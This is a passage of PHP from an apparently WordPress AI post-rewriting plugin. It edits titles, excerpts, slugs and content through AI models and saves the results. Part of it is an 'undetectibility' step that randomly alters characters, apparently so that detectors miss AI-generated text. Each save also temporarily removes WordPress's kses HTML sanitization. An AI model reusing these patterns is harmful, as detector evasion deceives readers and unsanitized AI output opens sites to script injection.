                                if($featured_image == '')
                                {
                                    $featured_image = aiomatic_generate_thumbmail($post->ID);
                                }
                                if($featured_image == '' && $final_content != '')
                                {
                                    $dom     = new DOMDocument();
                                    $internalErrors = libxml_use_internal_errors(true);
                                    $dom->loadHTML($final_content);
                                    libxml_use_internal_errors($internalErrors);
                                    $tags      = $dom->getElementsByTagName('img');
                                    foreach ($tags as $tag) {
                                        $temp_get_img = $tag->getAttribute('src');
                                        if ($temp_get_img != '') {
                                            $temp_get_img = strtok($temp_get_img, '?');
                                            $featured_image = rtrim($temp_get_img, '/');
                                        }
                                    }
                                }
                                $post_cats = '';
                                $post_categories = wp_get_post_categories( $post->ID );
                                foreach($post_categories as $c){
                                    $cat = get_category( $c );
                                    $post_cats .= $cat->name . ',';
                                }
                                $post_cats = trim($post_cats, ',');
                                if($post_cats != '')
                                {
                                    $post_categories = explode(',', $post_cats);
                                }
                                else
                                {
                                    $post_categories = array();
                                }
                                if(count($post_categories) == 0)
                                {
                                    $terms = get_the_terms( $post->ID, 'product_cat' );
                                    if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
                                        foreach ( $terms as $term ) {
                                            $post_categories[] = $term->slug;
                                        }
                                        $post_cats = implode(',', $post_categories);
                                    }
                                    
                                }
                                foreach($post_categories as $pc)
                                {
                                    if (!$manual && isset($aiomatic_Spinner_Settings['disabled_categories']) && !empty($aiomatic_Spinner_Settings['disabled_categories'])) {
                                        foreach($aiomatic_Spinner_Settings['disabled_categories'] as $disabled_cat)
                                        {
                                            if($manual != true && trim($pc) == get_cat_name($disabled_cat))
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                                {
                                                    aiomatic_log_to_file('Skipping post, has a disabled category (' . get_cat_name($disabled_cat) . '): ' . $post->post_title);
                                                }
                                                return;
                                            }
                                        }
                                    }
                                }
                                $post_tagz = '';
                                $post_tags = wp_get_post_tags( $post->ID );
                                foreach($post_tags as $t){
                                    $post_tagz .= $t->name . ',';
                                }
                                $post_tagz = trim($post_tagz, ',');
                                if($post_tagz != '')
                                {
                                    $post_tags = explode(',', $post_tagz);
                                }
                                else
                                {
                                    $post_tags = array();
                                }
                                if(count($post_tags) == 0)
                                {
                                    $terms = get_the_terms( $post->ID, 'product_tag' );
                                    if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
                                        foreach ( $terms as $term ) {
                                            $post_tags[] = $term->slug;
                                        }
                                        $post_tagz = implode(',', $post_tags);
                                    }
                                    
                                }
                                foreach($post_tags as $pt)
                                {
                                    if (!$manual && isset($aiomatic_Spinner_Settings['disable_tags']) && $aiomatic_Spinner_Settings['disable_tags'] != '') {
                                        
                                        $disable_tags = explode(",", $aiomatic_Spinner_Settings['disable_tags']);
                                        foreach($disable_tags as $disabled_tag)
                                        {
                                            if($manual != true && trim($pt) == trim($disabled_tag))
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                                {
                                                    aiomatic_log_to_file('Skipping post, has a disabled tag: ' . $post->post_title);
                                                }
                                                return;
                                            }
                                        }
                                    }
                                }
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                {
                                    aiomatic_log_to_file('Now editing post ID: ' . $post->ID);
                                }
                                $ai_instruction = replaceAIPostShortcodes($ai_instruction, $post_link, $post_title, $blog_title, $post->post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $post->ID, '', '', '', '', '', '');
                                $ai_instruction = trim($ai_instruction);
                                $ai_instruction_title = replaceAIPostShortcodes($ai_instruction_title, $post_link, $post_title, $blog_title, $post->post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $post->ID, '', '', '', '', '', '');
                                $ai_instruction_title = trim($ai_instruction_title);
                                $ai_instruction_excerpt = replaceAIPostShortcodes($ai_instruction_excerpt, $post_link, $post_title, $blog_title, $post->post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $post->ID, '', '', '', '', '', '');
                                $ai_instruction_excerpt = trim($ai_instruction_excerpt);
                                $ai_instruction_slug = replaceAIPostShortcodes($ai_instruction_slug, $post_link, $post_title, $blog_title, $post->post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $post->ID, '', '', '', '', '', '');
                                $ai_instruction_slug = str_replace('%%post_slug%%', $post->post_name, $ai_instruction_slug);
                                $ai_instruction_slug = trim($ai_instruction_slug);
                                if(isset($aiomatic_Spinner_Settings['protect_html']) && $aiomatic_Spinner_Settings['protect_html'] == 'on')
                                {
                                    if(!in_array($model, $completionmodels))
                                    {
                                        if(!empty($ai_instruction))
                                        {
                                            $ai_instruction .= ", numbers in brackets are protected terms, keep them unchanged in the returned text.";
                                        }
                                    }
                                    else
                                    {
                                        $ai_instruction .= ", don't edit HTML tags, only text.";
                                    }
                                }
                                $pre_tags_matches = array();
                                $pre_tags_matches_s = array();
                                $conseqMatchs = array();
                                $htmlfounds = array();
                                if(!in_array($model, $completionmodels))
                                {
                                    $final_content_pre = aiomatic_replaceExcludes($final_content, $htmlfounds, $pre_tags_matches, $pre_tags_matches_s, $conseqMatchs);
                                }
                                else
                                {
                                    $final_content_pre = $final_content;
                                }
                                
                                if (!$manual && isset($aiomatic_Spinner_Settings['max_char']) && $aiomatic_Spinner_Settings['max_char'] != '') 
                                {
                                    if(strlen($ai_instruction_title) > $aiomatic_Spinner_Settings['max_char'])
                                    {
                                        aiomatic_log_to_file('Skipping post, title too long, max is: ' . $aiomatic_Spinner_Settings['max_char']);
                                    }
                                    if(strlen($ai_instruction) > $aiomatic_Spinner_Settings['max_char'])
                                    {
                                        aiomatic_log_to_file('Skipping post, content too long, max is: ' . $aiomatic_Spinner_Settings['max_char']);
                                    }
                                    if(strlen($ai_instruction_excerpt) > $aiomatic_Spinner_Settings['max_char'])
                                    {
                                        aiomatic_log_to_file('Skipping post, excerpt too long, max is: ' . $aiomatic_Spinner_Settings['max_char']);
                                    }
                                }
                                $instructions_token_count = count(aiomatic_encode($ai_instruction));
                                $instructions_token_count_title = count(aiomatic_encode($ai_instruction_title));
                                $instructions_token_count_excerpt = count(aiomatic_encode($ai_instruction_excerpt));
                                $instructions_token_count_slug = count(aiomatic_encode($ai_instruction_slug));
                                $title_token_count = count(aiomatic_encode($post_title));
                                $excerpt_token_count = count(aiomatic_encode($post->post_excerpt));
                                $slug_token_count = count(aiomatic_encode($post->post_name));
                                $max_tokens = aiomatic_get_max_tokens($model);
                                $available_title_tokens = $max_tokens - ($instructions_token_count_title + $title_token_count);
                                $available_excerpt_tokens = $max_tokens - ($instructions_token_count_excerpt + $excerpt_token_count);
                                $available_slug_tokens = $max_tokens - ($instructions_token_count_slug + $slug_token_count);
                                $title_ai_edited = '';
                                $excerpt_ai_edited = '';
                                if ((!isset($aiomatic_Spinner_Settings['no_title']) || $aiomatic_Spinner_Settings['no_title'] != 'on') && !empty($ai_instruction_title))
                                {
                                    if($available_title_tokens < 0)
                                    {
                                        aiomatic_log_to_file('Skipping editing title, it is too long: ' . $post->post_title);
                                    }
                                    else
                                    {
                                        if(in_array($model, $completionmodels))
                                        {
                                            $prompt = $ai_instruction_title . ': ' . $post_title;
                                            $error = '';
                                            $finish_reason = '';
                                            $max_tokens = aiomatic_get_max_tokens($model);
                                            $query_token_count = count(aiomatic_encode($prompt));
                                            $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt, $query_token_count);
                                            if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                            {
                                                $string_len = strlen($prompt);
                                                $string_len = $string_len / 2;
                                                $string_len = intval(0 - $string_len);
                                                $prompt = aiomatic_substr($prompt, 0, $string_len);
                                                $prompt = trim($prompt);
                                                if(empty($prompt))
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                        aiomatic_log_to_file('Empty API seed expression provided (after processing)');
                                                    }
                                                }
                                                else
                                                {
                                                    $query_token_count = count(aiomatic_encode($prompt));
                                                    $available_tokens = $max_tokens - $query_token_count;
                                                }
                                            }
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                            {
                                                $api_service = aiomatic_get_api_service($token, $model);
                                                aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '\\' . $model . ') Title Editor with seed command: ' . $prompt);
                                            }
                                            $response_text = aiomatic_generate_text($token, $model, $prompt, $available_tokens, $edit_temperature, $edit_top_p, 0, 0, false, 'titleCEditor', 0, $finish_reason, $error, true, false, false, $vision_file, '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false);
                                            if($response_text === false)
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                    aiomatic_log_to_file('Post ID ' . $post->ID . ' failed to edit post title using AI: ' . $error);
                                                }
                                            }
                                            else
                                            {
                                                $response_text = ucfirst(trim(trim(trim(trim($response_text), '.'), ' “â€â€˜â€™"\'')));
                                                $title_ai_edited = $response_text;
                                                $post_title = $response_text;
                                            }
                                        }
                                        else
                                        {
                                            $aierror = '';
                                            $edited_content = aiomatic_edit_text($token, $model, $ai_instruction_title, $post_title, $edit_temperature, $edit_top_p, 'titleEditor', 0, $aierror);
                                            if($edited_content !== false)
                                            {
                                                $edited_content = ucfirst(trim(trim(trim(trim($edited_content), '.'), ' “â€â€˜â€™"\'')));
                                                $title_ai_edited = $edited_content;
                                                $post_title = $edited_content;
                                            }
                                            else
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                    aiomatic_log_to_file('Post ID ' . $post->ID . ' failed to edit post title using AI: ' . $aierror);
                                                }
                                            }
                                        }
                                    }
                                }
                                if ((!isset($aiomatic_Spinner_Settings['no_excerpt']) || $aiomatic_Spinner_Settings['no_excerpt'] != 'on') && !empty($ai_instruction_excerpt))
                                {
                                    if($available_excerpt_tokens < 0)
                                    {
                                        aiomatic_log_to_file('Skipping editing excerpt, it is too long: ' . $post->post_excerpt);
                                    }
                                    else
                                    {
                                        if(in_array($model, $completionmodels))
                                        {
                                            $prompt = $ai_instruction_excerpt . ': ' . $post_excerpt;
                                            $error = '';
                                            $finish_reason = '';
                                            $max_tokens = aiomatic_get_max_tokens($model);
                                            $query_token_count = count(aiomatic_encode($prompt));
                                            $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt, $query_token_count);
                                            if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                            {
                                                $string_len = strlen($prompt);
                                                $string_len = $string_len / 2;
                                                $string_len = intval(0 - $string_len);
                                                $prompt = aiomatic_substr($prompt, 0, $string_len);
                                                $prompt = trim($prompt);
                                                if(empty($prompt))
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                        aiomatic_log_to_file('Empty API seed expression provided (after processing)');
                                                    }
                                                }
                                                else
                                                {
                                                    $query_token_count = count(aiomatic_encode($prompt));
                                                    $available_tokens = $max_tokens - $query_token_count;
                                                }
                                            }
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                            {
                                                $api_service = aiomatic_get_api_service($token, $model);
                                                aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '\\' . $model . ') Excerpt Editor with seed command: ' . $prompt);
                                            }
                                            $response_text = aiomatic_generate_text($token, $model, $prompt, $available_tokens, $edit_temperature, $edit_top_p, 0, 0, false, 'excerptCEditor', 0, $finish_reason, $error, true, false, false, $vision_file, '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false);
                                            if($response_text === false)
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                    aiomatic_log_to_file('Post ID ' . $post->ID . ' failed to edit post excerpt using AI: ' . $error);
                                                }
                                            }
                                            else
                                            {
                                                $response_text = trim($response_text);
                                                $response_text = ucfirst(trim(trim(trim(trim($response_text), '.'), ' “â€â€˜â€™"\'')));
                                                $excerpt_ai_edited = $response_text;
                                                $post_excerpt = $response_text;
                                            }
                                        }
                                        else
                                        {
                                            $aierror = '';
                                            $edited_content = aiomatic_edit_text($token, $model, $ai_instruction_excerpt, $post_excerpt, $edit_temperature, $edit_top_p, 'excerptEditor', 0, $aierror);
                                            if($edited_content !== false)
                                            {
                                                $edited_content = ucfirst(trim(trim(trim(trim($edited_content), '.'), ' “â€â€˜â€™"\'')));
                                                $excerpt_ai_edited = $edited_content;
                                                $post_excerpt = $edited_content;
                                            }
                                            else
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                    aiomatic_log_to_file('Post ID ' . $post->ID . ' failed to edit post excerpt using AI: ' . $aierror);
                                                }
                                            }
                                        }
                                    }
                                }
                                $edited_slug = '';
                                if ((!isset($aiomatic_Spinner_Settings['no_slug']) || $aiomatic_Spinner_Settings['no_slug'] != 'on') && !empty($ai_instruction_slug))
                                {
                                    if($available_slug_tokens < 0)
                                    {
                                        aiomatic_log_to_file('Skipping editing slug, it is too long: ' . $post->post_excerpt);
                                    }
                                    else
                                    {
                                        if(in_array($model, $completionmodels))
                                        {
                                            $prompt = $ai_instruction_slug . ': ' . $post->post_name;
                                            $error = '';
                                            $finish_reason = '';
                                            $max_tokens = aiomatic_get_max_tokens($model);
                                            $query_token_count = count(aiomatic_encode($prompt));
                                            $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt, $query_token_count);
                                            if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                            {
                                                $string_len = strlen($prompt);
                                                $string_len = $string_len / 2;
                                                $string_len = intval(0 - $string_len);
                                                $prompt = aiomatic_substr($prompt, 0, $string_len);
                                                $prompt = trim($prompt);
                                                if(empty($prompt))
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                        aiomatic_log_to_file('Empty API seed expression provided (after processing)');
                                                    }
                                                }
                                                else
                                                {
                                                    $query_token_count = count(aiomatic_encode($prompt));
                                                    $available_tokens = $max_tokens - $query_token_count;
                                                }
                                            }
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                            {
                                                $api_service = aiomatic_get_api_service($token, $model);
                                                aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '\\' . $model . ') Slug Editor with seed command: ' . $prompt);
                                            }
                                            $response_text = aiomatic_generate_text($token, $model, $prompt, $available_tokens, $edit_temperature, $edit_top_p, 0, 0, false, 'slugCEditor', 0, $finish_reason, $error, true, false, false, $vision_file, '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false);
                                            if($response_text === false)
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                    aiomatic_log_to_file('Post ID ' . $post->ID . ' failed to edit post slug using AI: ' . $error);
                                                }
                                            }
                                            else
                                            {
                                                $response_text = trim($response_text);
                                                $response_text = ucfirst(trim(trim(trim(trim($response_text), '.'), ' “â€â€˜â€™"\'')));
                                                $edited_slug = sanitize_title($response_text);
                                                if(!empty($max_slug_len))
                                                {
                                                    $edited_slug = substr($edited_slug, 0, intval($max_slug_len));
                                                    $edited_slug = trim($edited_slug, '-');
                                                }
                                            }
                                        }
                                        else
                                        {
                                            $aierror = '';
                                            $edited_content = aiomatic_edit_text($token, $model, $ai_instruction_slug, $post->post_name, $edit_temperature, $edit_top_p, 'slugEditor', 0, $aierror);
                                            if($edited_content !== false)
                                            {
                                                $edited_content = ucfirst(trim(trim(trim(trim($edited_content), '.'), ' “â€â€˜â€™"\'')));
                                                $edited_slug = sanitize_title($response_text);
                                                if(!empty($max_slug_len))
                                                {
                                                    $edited_slug = substr($edited_slug, 0, intval($max_slug_len));
                                                    $edited_slug = trim($edited_slug, '-');
                                                }
                                            }
                                            else
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                    aiomatic_log_to_file('Post ID ' . $post->ID . ' failed to edit post slug using AI: ' . $aierror);
                                                }
                                            }
                                        }
                                    }
                                }
                                $tokens = aiomatic_encode($final_content_pre);
                                $content_token_count = count($tokens);
                                $max_tokens = aiomatic_get_max_tokens($model);
                                $available_tokens = $max_tokens - ($instructions_token_count + $content_token_count + 2);
                                if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                {
                                    if (isset($aiomatic_Spinner_Settings['max_char_chunks']) && $aiomatic_Spinner_Settings['max_char_chunks'] != '' && intval($aiomatic_Spinner_Settings['max_char_chunks']) / 4 < $max_tokens)
                                    {
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                            aiomatic_log_to_file('Splitting text into chunks of ' . $aiomatic_Spinner_Settings['max_char_chunks'] . ' characters.');
                                        }
                                        $chunk_split = str_split($final_content_pre, intval($aiomatic_Spinner_Settings['max_char_chunks']));
                                    }
                                    else
                                    {
                                        $chunk_split = aiomatic_split_to_token_len($tokens, intval($max_tokens / 2));
                                    }
                                }
                                else
                                {
                                    if (isset($aiomatic_Spinner_Settings['max_char_chunks']) && $aiomatic_Spinner_Settings['max_char_chunks'] != '' && intval($aiomatic_Spinner_Settings['max_char_chunks']) / 4 < $max_tokens)
                                    {
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                            aiomatic_log_to_file('Splitting text into chunks of ' . $aiomatic_Spinner_Settings['max_char_chunks'] . ' characters.');
                                        }
                                        $chunk_split = str_split($final_content_pre, intval($aiomatic_Spinner_Settings['max_char_chunks']));
                                    }
                                    else
                                    {
                                        $chunk_split = array($final_content_pre);
                                    }
                                }
                                $one_success = false;
                                $final_content_ai = '';
                                $exclude_count_before = 0;
                                if ((!isset($aiomatic_Spinner_Settings['no_content']) || $aiomatic_Spinner_Settings['no_content'] != 'on') && !empty($ai_instruction))
                                {
                                    foreach($chunk_split as $my_little_chunk)
                                    {
                                        if(!in_array($model, $completionmodels))
                                        {
                                            $exclude_count_before += aiomatic_countExcludes($my_little_chunk);
                                        }
                                        if(in_array($model, $completionmodels))
                                        {
                                            $prompt = $ai_instruction . ':\r\n\r\n ' . $my_little_chunk . ' \r\n\r\n';
                                            $error = '';
                                            $finish_reason = '';
                                            $max_tokens = aiomatic_get_max_tokens($model);
                                            $query_token_count = count(aiomatic_encode($prompt));
                                            $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt, $query_token_count);
                                            if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                            {
                                                $string_len = strlen($prompt);
                                                $string_len = $string_len / 2;
                                                $string_len = intval(0 - $string_len);
                                                $prompt = aiomatic_substr($prompt, 0, $string_len);
                                                $prompt = trim($prompt);
                                                if(empty($prompt))
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                        aiomatic_log_to_file('Empty API seed expression provided (after processing)');
                                                    }
                                                }
                                                else
                                                {
                                                    $query_token_count = count(aiomatic_encode($prompt));
                                                    $available_tokens = $max_tokens - $query_token_count;
                                                }
                                            }
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                            {
                                                $api_service = aiomatic_get_api_service($token, $model);
                                                aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '\\' . $model . ') Content Editor with seed command: ' . $prompt);
                                            }
                                            $response_text = aiomatic_generate_text($token, $model, $prompt, $available_tokens, $edit_temperature, $edit_top_p, 0, 0, false, 'contentCEditor', 0, $finish_reason, $error, false, false, false, $vision_file, '', 'user', $assistant_id, $thread_id, '', 'disabled', '', true);
                                            if($response_text === false)
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                    aiomatic_log_to_file('Post ID ' . $post->ID . ' failed to edit the post chunk using AI: ' . $error . ' !-! ' . $ai_instruction . ' !-! ' . $my_little_chunk);
                                                }
                                                $final_content_ai .= $my_little_chunk;
                                            }
                                            else
                                            {
                                                $response_text = trim($response_text);
                                                $final_content_ai .= $response_text;
                                                $one_success = true;
                                            }
                                        }
                                        else
                                        {
                                            $aierror = '';
                                            $edited_content = aiomatic_edit_text($token, $model, $ai_instruction, $my_little_chunk, $edit_temperature, $edit_top_p, 'contentEditor', 0, $aierror);
                                            if($edited_content !== false)
                                            {
                                                $final_content_ai .= $edited_content;
                                                $one_success = true;
                                            }
                                            else
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                    aiomatic_log_to_file('Post ID ' . $post->ID . ' failed to edit post chunk using AI: ' . $aierror . ' !-! ' . $ai_instruction . ' !-! ' . $my_little_chunk);
                                                }
                                                $final_content_ai .= $my_little_chunk;
                                            }
                                        }
                                    }
                                }
                                if($one_success === false)
                                {
                                    $final_content_ai = '';
                                }
                                if($final_content_ai != '')
                                {
                                    if(!in_array($model, $completionmodels))
                                    {
                                        $exclude_count_after = aiomatic_countExcludes($final_content_ai);
                                    }
                                    else
                                    {
                                        $exclude_count_after = 0;
                                    }
                                    if((!isset($aiomatic_Spinner_Settings['no_html_check']) || $aiomatic_Spinner_Settings['no_html_check'] != 'on') && $exclude_count_before != $exclude_count_after)
                                    {
                                        aiomatic_log_to_file('Post edit failed, as HTML tags were removed by the AI editor. Because of this, edits are not saved. Count of HTML tags missing: ' . ($exclude_count_before - $exclude_count_after));
                                    }
                                    else
                                    {
                                        if(!in_array($model, $completionmodels))
                                        {
                                            $final_content_ai = aiomatic_restoreExcludes($final_content_ai, $htmlfounds, $pre_tags_matches, $pre_tags_matches_s, $conseqMatchs);
                                        }
                                        $final_content = $final_content_ai;
                                        $args = array();
                                        $args['ID'] = $post->ID;
                                        if (!isset($aiomatic_Main_Settings['no_undetectibility']) || $aiomatic_Main_Settings['no_undetectibility'] != 'on' && !aiomatic_stringContainsArrayChars($final_content, $xchars)) 
                                        {
                                            $final_content = aiomatic_remove_parasite_phrases($final_content);
                                            if(!isset($xchars))
                                            {
                                                $xchars = array();
                                            }
                                            $rand_percentage = rand(10, 20);
                                            $final_content = aiomatic_make_unique($final_content, $xchars, $rand_percentage);
                                        }
                                        $args['post_content'] = $final_content;
                                        if($title_ai_edited != '')
                                        {
                                            if ((isset($aiomatic_Spinner_Settings['rewrite_url']) && $aiomatic_Spinner_Settings['rewrite_url'] == 'on'))
                                            {
                                                if(!empty(sanitize_title($title_ai_edited)))
                                                {
                                                    $args['post_name'] = sanitize_title($title_ai_edited);
                                                }
                                            }
                                            $args['post_title'] = $title_ai_edited;
                                        }
                                        if(!empty($edited_slug))
                                        {
                                            $args['post_name'] = trim($edited_slug);
                                        }
                                        if($excerpt_ai_edited != '')
                                        {
                                            $args['post_excerpt'] = trim($excerpt_ai_edited);
                                        }
                                        if (isset($aiomatic_Spinner_Settings['change_status']) && $aiomatic_Spinner_Settings['change_status'] != '' && $aiomatic_Spinner_Settings['change_status'] != 'no') 
                                        {
                                            $args['post_status'] = $aiomatic_Spinner_Settings['change_status'];
                                        }
                                        update_post_meta($post->ID, $custom_name, "pub");
                                        remove_filter('content_save_pre', 'wp_filter_post_kses');
                                        remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                        remove_filter('title_save_pre', 'wp_filter_kses');
                                        $post_updated = wp_update_post($args);
                                        add_filter('content_save_pre', 'wp_filter_post_kses');
                                        add_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                        add_filter('title_save_pre', 'wp_filter_kses');
                                        if (is_wp_error($post_updated)) {
                                            $errors = $post_updated->get_error_messages();
                                            foreach ($errors as $error) {
                                                aiomatic_log_to_file('Error occured while updating post for content rewriting "' . $post->post_title . '": ' . $error);
                                            }
                                        }
                                        else
                                        {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                aiomatic_log_to_file('Post ID ' . $post->ID . ' "' . $post->post_title . '" was successfully updated with AI rewritten content.');
                                            }
                                        }
                                    }
                                }
                                else
                                {
                                    if($title_ai_edited != '')
                                    {
                                        $args = array();
                                        $args['ID'] = $post->ID;
                                        if ((isset($aiomatic_Spinner_Settings['rewrite_url']) && $aiomatic_Spinner_Settings['rewrite_url'] == 'on'))
                                        {
                                            if(!empty(sanitize_title($title_ai_edited)))
                                            {
                                                $args['post_name'] = sanitize_title($title_ai_edited);
                                            }
                                        }
                                        $args['post_title'] = $title_ai_edited;
                                        if (isset($aiomatic_Spinner_Settings['change_status']) && $aiomatic_Spinner_Settings['change_status'] != '' && $aiomatic_Spinner_Settings['change_status'] != 'no') 
                                        {
                                            $args['post_status'] = $aiomatic_Spinner_Settings['change_status'];
                                        }
                                        if($excerpt_ai_edited != '')
                                        {
                                            $args['post_excerpt'] = trim($excerpt_ai_edited);
                                        }
                                        if(!empty($edited_slug))
                                        {
                                            $args['post_name'] = trim($edited_slug);
                                        }
                                        remove_filter('content_save_pre', 'wp_filter_post_kses');
                                        remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                        remove_filter('title_save_pre', 'wp_filter_kses');
                                        update_post_meta($post->ID, $custom_name, "pub");
                                        $post_updated = wp_update_post($args);
                                        add_filter('content_save_pre', 'wp_filter_post_kses');
                                        add_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                        add_filter('title_save_pre', 'wp_filter_kses');
                                        if (is_wp_error($post_updated)) {
                                            $errors = $post_updated->get_error_messages();
                                            foreach ($errors as $error) {
                                                aiomatic_log_to_file('Error occured while updating post for title "' . $post->post_title . '": ' . $error);
                                            }
                                        }
                                        else
                                        {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                aiomatic_log_to_file('Post ID ' . $post->ID . ' "' . $post->post_title . '" was successfully updated with AI generated title.');
                                            }
                                        }
                                    }
                                    else
                                    {
                                        if($excerpt_ai_edited != '')
                                        {
                                            $args = array();
                                            $args['ID'] = $post->ID;
                                            if (isset($aiomatic_Spinner_Settings['change_status']) && $aiomatic_Spinner_Settings['change_status'] != '' && $aiomatic_Spinner_Settings['change_status'] != 'no') 
                                            {
                                                $args['post_status'] = $aiomatic_Spinner_Settings['change_status'];
                                            }
                                            if(!empty($edited_slug))
                                            {
                                                $args['post_name'] = trim($edited_slug);
                                            }
                                            $args['post_excerpt'] = trim($excerpt_ai_edited);
                                            remove_filter('content_save_pre', 'wp_filter_post_kses');
                                            remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                            remove_filter('title_save_pre', 'wp_filter_kses');
                                            update_post_meta($post->ID, $custom_name, "pub");
                                            $post_updated = wp_update_post($args);
                                            add_filter('content_save_pre', 'wp_filter_post_kses');
                                            add_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                            add_filter('title_save_pre', 'wp_filter_kses');
                                            if (is_wp_error($post_updated)) {
                                                $errors = $post_updated->get_error_messages();
                                                foreach ($errors as $error) {
                                                    aiomatic_log_to_file('Error occured while updating excerpt post for title "' . $post->post_title . '": ' . $error);
                                                }
                                            }
                                            else
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                    aiomatic_log_to_file('Post ID ' . $post->ID . ' "' . $post->post_title . '" was successfully updated with AI generated excerpt.');
                                                }
                                            }
                                        }
                                        else
                                        {
                                            if($edited_slug != '')
                                            {
                                                $args = array();
                                                $args['ID'] = $post->ID;
                                                if (isset($aiomatic_Spinner_Settings['change_status']) && $aiomatic_Spinner_Settings['change_status'] != '' && $aiomatic_Spinner_Settings['change_status'] != 'no') 
                                                {
                                                    $args['post_status'] = $aiomatic_Spinner_Settings['change_status'];
                                                }
                                                $args['post_name'] = trim($edited_slug);
                                                remove_filter('content_save_pre', 'wp_filter_post_kses');
                                                remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                                remove_filter('title_save_pre', 'wp_filter_kses');
                                                update_post_meta($post->ID, $custom_name, "pub");
                                                $post_updated = wp_update_post($args);
                                                add_filter('content_save_pre', 'wp_filter_post_kses');
                                                add_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                                add_filter('title_save_pre', 'wp_filter_kses');
                                                if (is_wp_error($post_updated)) {
                                                    $errors = $post_updated->get_error_messages();
                                                    foreach ($errors as $error) {
                                                        aiomatic_log_to_file('Error occured while updating post slug for title "' . $post->post_title . '": ' . $error);
                                                    }
                                                }
                                                else
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                        aiomatic_log_to_file('Post ID ' . $post->ID . ' "' . $post->post_title . '" was successfully updated with AI generated slug.');
                                                    }
                                                }
                                            }
                                            else
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                    aiomatic_log_to_file('Post ID ' . $post->ID . ' failed to be editted, nothing returned from AI editor');
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                        if (isset($aiomatic_Spinner_Settings['temperature']) && $aiomatic_Spinner_Settings['temperature'] != '')
                        {
                            $temperature = floatval($aiomatic_Spinner_Settings['temperature']);
                        }
                        else
                        {
                            $temperature = 1;
                        }
                        if (isset($aiomatic_Spinner_Settings['top_p']) && $aiomatic_Spinner_Settings['top_p'] != '')
                        {
                            $top_p = floatval($aiomatic_Spinner_Settings['top_p']);
                        }
                        else
                        {
                            $top_p = 1;
                        }
                        if (isset($aiomatic_Spinner_Settings['presence_penalty']) && $aiomatic_Spinner_Settings['presence_penalty'] != '')
                        {
                            $presence_penalty = floatval($aiomatic_Spinner_Settings['presence_penalty']);
                        }
                        else
                        {
                            $presence_penalty = 0;
                        }
                        if (isset($aiomatic_Spinner_Settings['frequency_penalty']) && $aiomatic_Spinner_Settings['frequency_penalty'] != '')
                        {
                            $frequency_penalty = floatval($aiomatic_Spinner_Settings['frequency_penalty']);
                        }
                        else
                        {
                            $frequency_penalty = 0;
                        }
